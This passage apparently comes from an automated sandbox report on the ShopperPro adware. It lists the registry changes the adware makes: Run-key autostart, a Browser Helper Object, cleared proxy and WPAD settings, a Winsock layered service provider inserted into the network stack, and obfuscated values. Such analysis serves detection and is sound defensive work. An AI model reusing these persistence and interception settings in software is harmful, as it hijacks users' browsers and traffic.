"Version" = "2.5.8305.1502"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "F4 9D C1 74 0A 48 D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 45 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtFile" = "ShopperPro.crx"
"ChromeExtID" = "ojhagnahfpegocdhlopgljpaafeogmcc"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DriverVersion" = "1502.0.0.0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\ExtraInfo]
"DBVersion" = "1.0.0.9"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "F4 9D C1 74 0A 48 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1502.0.0.0\jsdrv.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1502.0.0.0\jsdrv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process regsvr32.exe:3904 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\HELPDIR]
"(Default)" = "C:\ProgramData\ShopperPro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "ShopperPro 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplorer" = "1"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]

The process regsvr32.exe:3180 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

"NoExplorer" = "1"

The process lspinst.exe:2784 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 3B A4 44 A3"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "11 00 00 00"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Next_Catalog_Entry_ID" = "1020"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-103"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"ProtocolName" = "YTALSP"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Num_Catalog_Entries" = "13"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "O|KiRVolh|acP_w}Yu`fRISI`@Ndl"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"ProtocolName" = "YTALSP over [RSVP TCPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"ProtocolName" = "VMCI sockets STREAM"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"ProtocolName" = "YTALSP over [RSVP UDPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"ProtocolName" = "YTALSP over [RSVP TCP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Serial_Access_Num" = "16"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"LspCategories" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtdmRLXD[tLli@u"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZfB"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"ProtocolName" = "YTALSP over [RSVP UDP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"ProtocolName" = "VMCI sockets DGRAM"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LYejbR\X|CYVpf@D`\[@|s\NDEsj@"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoVvS^vV{U@{d}"

The Application deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000000F]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process lspinst.exe:1160 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LYejbR\X|CYVpf@D`\[@|s\NDEsj@"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 3B A4 44 A3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "O|KiRVolh|ac`_w}Yu`fbISI`@Ndl"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0E 00 00 00"
"{K7C0DB872A3F777C0}" = "5C 56 B4 90 00 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtdmRLXD[tLli@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoQFS^vV{jsnog"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZfB"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process YTAHEL~1.EXE:3004 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\7711c0f3\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\7711c0f3\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\AccDownload.dll,"

The process DCytaiesmt_smtyc_setup.exe:3388 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
